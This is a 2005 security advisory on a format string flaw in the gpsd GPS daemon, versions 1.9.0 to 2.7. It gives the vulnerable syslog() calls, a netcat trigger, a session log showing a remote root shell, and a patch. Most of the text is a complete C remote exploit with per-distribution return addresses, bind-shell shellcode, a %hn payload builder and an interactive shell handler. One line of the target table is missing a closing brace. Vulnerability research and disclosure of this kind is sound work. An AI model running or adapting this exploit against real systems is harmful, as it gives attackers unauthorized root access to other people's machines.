DMA[2005-0125a] - 'berlios gpsd format string vulnerability'

["KF (Lists)" <kf_lists () digitalmunition com>]

DMA[2005-0125a] - 'berlios gpsd (remake of pygps) format string vulnerability'
Author: Kevin Finisterre
Vendor: http://gpsd.berlios.de, http://www.pygps.org
Product: 'gpsd'
References: http://www.digitalmunition.com/DMA[2005-0125a].txt

Description: 
gpsd is a service daemon that monitors a GPS attached to a host computer through 
a serial or USB port. The GPS data from the device which includes location, course, 
velocity is available to be queried on TCP port 2947. With gpsd, multiple GPS client 
applications (such as navigational and wardriving software) can share access to a 
GPS without contention or loss of data. 

Who would use gpsd? GIS Projets, Remote Sensing Projects, Wardrivers (Kismet users), 
Cartography Groups, Hydrology Projects, Land Management, Forrestry, etc. 

Gpsd moved from www.pygps.org in August 2004 and gpsd has just undergone a major 
rewrite at the hands of Eric S. Raymond, author of fetchmail and several books about 
unix. http://www.catb.org/~esr/graphics/esr001.jpg

This bug appears to have been recently introduced into the codebase, possibly by 
~esr? The vulnerability was introduced somewhere between gpsd-1.10.tar.gz 13-Oct-2003 
and gpsd-1.90.tar.gz 19-Aug-2004. The last 2 names in the changelog are Derrick 
J. Brashear, 2 January 2000 and Eric S. Raymond, 23 Aug 2004. 

Vulnerable versions of gpsd can be found at: 
http://developer.berlios.de/project/showfiles.php?group_id=2116

Known vulnerable versions include gpsd-1.9.0 through gpsd-2.7.

The format string issue is in the gpsd_report() funciton. syslog() is used without a
format specifier multiple times in gpsd.c.

./gpsd.c:           syslog(LOG_ERR, buf);
./gpsd.c:           syslog(LOG_NOTICE, buf);

and more recently 

./gpsd.c:           syslog((errlevel == 0) ? LOG_ERR : LOG_NOTICE, buf);

There are very few gpsd_report() calls that contain "%s" and only one is an exploitable 
instance. 

./gpsd.c:                   gpsd_report(1, "<= client: %s", buf);

Here is a sample run at triggering the vulnerability. 

[root@threat gpsd-2.0]# /usr/sbin/gpsd -p /dev/ttyS0

[root@threat gpsd-2.0]# tail -f /var/log/messages

Sep 19 12:59:23 threat gpsd[9420]: gpsd: launching (Version 2.0)
Sep 19 12:59:23 threat gpsd[9420]: gpsd: listening on port 2947

[root@threat gpsd-2.0]# nc localhost 2947
AAAABBBB%x%x%x%x%x%x%x%x%x%x%x%x%x
GPSD,A=?,A=?,A=?,A=?,X=1,X=1,X=1,X=1,X=1,X=1,X=1,X=1,X=1,X=1,X=1,X=1,X=1

The above netcat session generated the following Syslog messages. 

Sep 19 13:00:08 threat gpsd[9420]: gpsd: closed GPS
Sep 19 13:00:08 threat gpsd[9420]: gpsd: opening GPS data source at /dev/ttyS0
Sep 19 13:00:08 threat gpsd[9420]: gpsd: setting speed 4800, 8 bits, no parity
Sep 19 13:00:08 threat gpsd[9420]: gpsd: gpsd_activate: opened GPS (6)
Sep 19 13:00:08 threat gpsd[9420]: gpsd: <= client: 
AAAABBBBfefdf8f80647370673d3c203a696c63203a746e654141412042424241257825422578
2578257825782578257825782578
Sep 19 13:00:11 threat gpsd[9420]: gpsd: closed GPS

> From here you are dealing with a classic format string exploit. 

Successful exploitation on a redhat box gets you root, and on Debian you get 
uid=gpsd gid=dialout. 

jdam:/home/kfinisterre/gps$ ./ex_gpsd -h 192.168.1.203 -t 12
# remote host 192.168.1.203.
Checking Remote version
GPSD VERSION: 2.6
# send exploit data.
[*] data sent 3389 bytes .
[*] data sent 2 bytes .
[+] Trying to exec shellcode on remote
[*] data sent 2 bytes .
[-] Waiting 5 seconds to connect to remote shell
[+] yes!
[*] Executed shell successfully !

Linux localhost.localdomain 2.4.20-8 #1 Thu Mar 13 17:18:24 EST 2003 i686 athlon i386 GNU/Linux
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
stty: standard input: Invalid argument
[root@localhost /]# exit

To fix this vulnerability in ./gpsd.c you need to modify a few syslog calls. This 
may break existing gpsd_report() functionality. When the author(s) gets around to 
checking email and or reading the bug entries a new version will come out. This work 
around is strictly to prevent exploitation.   

syslog(LOG_ERR, "%s", buf);
syslog(LOG_NOTICE, "%s", buf);
syslog((errlevel == 0) ? LOG_ERR : LOG_NOTICE, "%s", buf);

Timeline associated with this bug:
01/19/2005 attempts to notify all of the individuals working on the project via email were made. 
no response. 
01/20/2005 BerliOS Developer bug ID #003087     Security Vulnerability ala syslog() was filed. 
no response. 

-KF

/** 
 ** Copyright Johnh and KF 2005
 ** 
 ** Gpsd remote format string exploit
 ** By: Johnh[at]digitalmunition[dot]com
 ** Bug Found By: kf[at]digitalmunition[dot]com
 ** http://www.digitalmunition.com/DMA[2005-0125a].txt
 **
 ** Features: Version ident
 **
 ** Debian machines provide uid=gpsd
 ** Redhat machines provide uid=root
 **
 ** Lots of JUMP_SLOT's provided but 
 ** You can get or brute the shellcode 
 ** addresses yourself.
 **/

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <assert.h>
#include <fcntl.h>
#include <sys/time.h>

#define GPSD_PORT 2947

void sh(int st_sock_va);
int new_tcpConnect (char *host, unsigned int port, unsigned int timeout);
int checkZero (long value);
char *putLong (char* ptr, long value);
int own_gpsd(int sock,int iType);
int check_version(int sock);
int exec_shellcode(int sock);
int usage(char *p);


struct
{
    unsigned long  retloc; /* retloc of syslog */
    unsigned long   retaddr;
    char    *szDescription;
}targets[] =
    {

        // Brute the rest of the addresses your self...
        // syslog() , shellcode , version
        {0x0804f250,0x41424344, "gpsd-1.91-1.i386.rpm"}, // .rpms Tested on Redhat 9.0
        {0x0804f630,0x41424344, "gpsd-1.92-1.i386.rpm"},
        {0x0804e154,0x41424344, "gpsd-1.93-1.i386.rpm"},
        {0x0804f260,0x41424344, "gpsd-1.94-1.i386.rpm"},
        {0x0804f268,0x41424344, "gpsd-1.95-1.i386.rpm"},
        {0x41424344,0x41424344, "gpsd-1.96-1.i386.rpm"}, //broken rpm?
        {0x0804b14c,0x41424344, "gpsd-1.97-1.i386.rpm"},
        {0x0804c7a0,0x41424344, "gpsd-2.1-1.i386.rpm"},
        {0x0804c7a0,0x41424344, "gpsd-2.2-1.i386.rpm"},
        {0x0804c730,0xbfffd661, "gpsd-2.3-1.i386.rpm"},
        {0x0804c7b8,0xbfffde71, "gpsd-2.4-1.i386.rpm"},
        {0x0804c7dc,0xbfffdc09, "gpsd-2.5-1.i386.rpm"},
        {0x0804c730,0xbffff100, "gpsd-2.6-1.i386.rpm"},
        {0x0804c5bc,0xbfffcabc, "gpsd-2.7-1.i386.rpm"},
        {0x0804c7c4,0xbfffedc8, "gpsd_2.6-1_i386.deb"}, // .debs Tested on Debian GNU/Linux 3.1
        {0x0804c6c4,0xbfffc818, "gpsd_2.7-1_i386.deb"},
        {0x0804c770,0xbfffee70, "gpsd_2.7-2_i386.deb"},
        {0x0804c818,0xbfffe148, "SuSE 9.1 compiled 2.0"}, //compiled binary on local box for debug
        {0x0804b164,0xbfffd7d6, "Slackware 9.0 compiled 2.0"
        {0x0804c3ec,0xbfffe65c, "Slackware 9.0 compiled 2.7  "}, 
        {0x41424344,0xdeadbeef, "Debug              "}, 

    },v;



int             iType;

char shellcode[]=
"\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x16\x81\x73\x17\x13\x99"
"\x37\xe2\x83\xeb\xfc\xe2\xf4\x22\x42\xc0\x01\xa3\xff\x64\xa1\x40"
"\xda\x64\x6b\xf2\xd2\xfa\x62\x9a\x5e\x65\x84\x7b\x8c\xf5\xa1\x75"
"\xca\xbe\x03\xa3\x89\x67\xb3\x44\x10\xd6\x52\x75\x54\xb7\x52\x75"
"\x2a\x33\x2f\x93\xc9\x67\xb5\x9a\x78\x74\x52\x75\x54\xb7\x6b\xca"
"\x10\xf4\x52\x2c\xd0\xfa\x62\x52\x7b\xcf\xb3\x7b\xf7\x18\x91\x7b"
"\xf1\x18\xcd\x71\xf0\xbe\x01\x42\xca\xbe\x03\xa3\x92\xfa\x62";



//thanks sam
int new_tcpConnect (char *host, unsigned int port, unsigned int timeout)
{
    int                     sock,
    flag,
    pe = 0;
    size_t                  pe_len;
    struct timeval          tv;
    struct sockaddr_in      addr;
    struct hostent*         hp = NULL;
    fd_set                  rset;

    // reslov hosts
    hp = gethostbyname (host);
    if (NULL == hp) {
        perror ("tcpConnect:gethostbyname\n");
        return -1;
    }

    sock = socket (AF_INET, SOCK_STREAM, 0);
    if (-1 == sock) {
        perror ("tcpConnect:socket\n");
        return -1;
    }

    addr.sin_addr = *(struct in_addr *) hp->h_addr;
    addr.sin_family = AF_INET;
    addr.sin_port = htons (port);

    /* set socket no block
    */
    flag = fcntl (sock, F_GETFL);
    if (-1 == flag) {
        perror ("tcpConnect:fcntl\n");
        close (sock);
        return -1;
    }
    flag |= O_NONBLOCK;
    if (fcntl (sock, F_SETFL, flag) < 0) {
        perror ("tcpConnect:fcntl\n");
        close (sock);
        return -1;
    }

    if (connect (sock, (const struct sockaddr *) &addr,
                 sizeof(addr)) < 0 &&
            errno != EINPROGRESS) {
        perror ("tcpConnect:connect\n");
        close (sock);
        return -1;
    }

    /* set connect timeout
     * use millisecond
     */
    tv.tv_sec = timeout/1000;
    tv.tv_usec = timeout%1000;
    FD_ZERO (&rset);
    FD_SET (sock, &rset);

    if (select (sock+1, &rset, &rset, NULL, &tv) <= 0) {
        //                perror ("tcpConnect:select");
        close (sock);
        return -1;
    }

    pe_len = sizeof (pe);

    if (getsockopt (sock, SOL_SOCKET, SO_ERROR, &pe, &pe_len) < 0) {
        perror ("tcpConnect:getsockopt\n");
        close (sock);
        return -1;
    }

    if (pe != 0) {
        errno = pe;
        close (sock);
        return -1;
    }

    if (fcntl(sock, F_SETFL, flag&~O_NONBLOCK) < 0) {
        perror ("tcpConnect:fcntl\n");
        close (sock);
        return -1;
    }

    pe = 1;
    pe_len = sizeof (pe);

    if (setsockopt (sock, IPPROTO_TCP, TCP_NODELAY, &pe, pe_len) < 0){
        perror ("tcpConnect:setsockopt\n");
        close (sock);
        return -1;
    }
    return sock;
}


void sh(int st_sock_va)
{
    int died;
    char *command="uname -a; id; export TERM=vt100; exec bash -i\n";
    char readbuf[1024];
    fd_set rset;
    memset((char *)readbuf,0,sizeof(readbuf));
    fprintf(stdout,"[*] Executed shell successfully !\n\n");
    send(st_sock_va,command,strlen(command),0);

    for(;;)
    {
        fflush(stdout);
        FD_ZERO(&rset);
        FD_SET(st_sock_va,&rset);
        FD_SET(STDIN_FILENO,&rset);
        select(st_sock_va+1,&rset,NULL,NULL,NULL);

        if(FD_ISSET(st_sock_va,&rset))
        {
            died=read(st_sock_va,readbuf,sizeof(readbuf)-1);
            if(died<=0)
                exit(0);
            readbuf[died]=0;
            fprintf(stdout,"%s",readbuf);
        }
        if(FD_ISSET(STDIN_FILENO,&rset))
        {
            died=read(STDIN_FILENO,readbuf,sizeof(readbuf)-1);
            if(died>0)
            {
                readbuf[died]=0;
                write(st_sock_va,readbuf,died);
            }
        }
    }
    return;
}




/*
 *check the \x00 byte
 */
int checkZero (long value)
{
    return !((value & 0x00ffffff) &&
             (value & 0xff00ffff) &&
             (value & 0xffff00ff) &&
             (value & 0xffffff00));

}
/*
 * put a address in mem, for little-endian
 *
 */
char*
putLong (char* ptr, long value)
{
    *ptr++ = (char) (value >> 0) & 0xff;
    *ptr++ = (char) (value >> 8) & 0xff;
    *ptr++ = (char) (value >> 16) & 0xff;
    *ptr++ = (char) (value >> 24) & 0xff;

    return ptr;
}


int main (int argc, char **argv)
{
    int     c, sock, ret;
    char    *hostName = NULL;

    if (argc < 3) {
        usage (argv[0]);
        return -1;
    }

    while((c = getopt(argc, argv, "h:t:")) != EOF) {
        switch(c) {
        case 'h':
            hostName = optarg;
            break;
        case 't':
            iType = atoi (optarg);
            break;
        default:
            usage (argv[0]);
            return 0;
        }
    }

if (argc < 2) { usage(argv[0]); exit(1); }

    if( (iType<0) || (iType>=sizeof(targets)/sizeof(v)) )
    {
        usage(argv[0]);
        printf("[-] Invalid type.\n");
        return 0;
    }

    printf ("# remote host %s. \n", hostName);

    sock = new_tcpConnect (hostName, GPSD_PORT, 9000);
    printf("Checking Remote version\n");
    check_version(sock);

    own_gpsd (sock,iType);
    close(sock);
    sock = new_tcpConnect (hostName, GPSD_PORT, 9000);
    printf("[+] Trying to exec shellcode on remote\n");
    exec_shellcode(sock);
    printf("[-] Waiting 5 seconds to connect to remote shell\n");
    sleep (5);
    if ((ret = new_tcpConnect (hostName, 5570, 9000)) < 0) {
        fprintf (stderr, "[-] failed :< \n");
        goto out;
    }

    printf ("[+] yes! \n");

    sh (ret);
out:
    close (ret);
    return 0;
}


int own_gpsd(int sock,int iType)
{
    int offset = 0x11;
    int dump_fmt=7;
    int al = 3;
    int hi,lo;
    int x;
    int ret;
    unsigned long shift0,shift1;
    char    buf[90000];
    char    fun[256];
    char *ptr;


    /* check zero byte */
    if (checkZero (targets[iType].retloc) || checkZero (targets[iType].retloc+2) ) {
        printf ("retloc has a null; <\n");
        exit (1);
    }

    hi = (targets[iType].retaddr >> 0) & 0xffff;
    lo = (targets[iType].retaddr >> 16) & 0xffff;


    shift0 = hi - offset - (dump_fmt * 8 + 16 + al);
    shift1 = (0x10000 +  lo) - hi;

    memset(buf,0x41,3);
    ptr = buf+3;
    ptr = putLong (ptr, 0x42424242);
    ptr = putLong (ptr, targets[iType].retloc);
    ptr = putLong (ptr, 0x42424242);
    ptr = putLong (ptr, targets[iType].retloc+2);

    for (x=0;x<dump_fmt;x++)
        strcat(ptr,"%.8x");

    strcat(ptr,"%.");
    sprintf(ptr+strlen(ptr),"%u",shift0);
    strcat(ptr,"lx%hn");

    strcat(ptr,"%.");
    sprintf(ptr+strlen(ptr),"%u",shift1);
    strcat(ptr,"lx%hn");
    x = strlen(ptr);
    memset(ptr+x,0x90,3000);
    x+=3000;
    memcpy(ptr+x,shellcode,337);
    x+=337;

    printf ("# send exploit data. \n");
    sleep(1);
    ret = send (sock, buf, x, 0);
    printf ("[*] data sent %d bytes .\n", x);
    memcpy(fun,"l\n",2);
    ret = send (sock, fun, 2, 0);
    printf ("[*] data sent %d bytes .\n", ret);
    
    return 0;
}

//Had to connect to remote and send a string to make shellcode execute. No idea why. but it works so :)
int exec_shellcode(int sock) {
    int ret;
    char    fun[256];

    memcpy(fun,"l\n",2);
    ret = send (sock, fun, 2, 0);
    printf ("[*] data sent %d bytes .\n", ret);

    return 0;
}

//Check remote version of gpsd. You may ask why because all verions are vuln but who knows :)
//When the vendor changes the code you can change this to detect a vuln/non vuln version
int check_version(int sock) {
        char *version;
        char buf_ver[256];
        char recv_buf[256];
        int ret;

        memcpy(buf_ver,"l\n",2);
        ret = send (sock, buf_ver, 2, 0);
        ret = recv(sock,recv_buf,sizeof(recv_buf),0);
        version  =  strtok(recv_buf," ");
        version = strtok(NULL," ");
        printf("GPSD VERSION: %s\n",version);

}


int usage(char *p)


{
    int     i;
    printf( "Gpsd <= 2.7 remote formatstring exploit\r\nBy: johnh () secnetops com\r\n");

    printf( "Usage: %s <-h host> <-t target>\n"
            "[type]\t[Description]\t\t\t[Retloc]\n", p);
    for(i=0;i<sizeof(targets)/sizeof(v);i++)
    {
        printf("%d\t%s\t\t0x%08lx\n", i, targets[i].szDescription,targets[i].retloc);
    }
    return 0;
}



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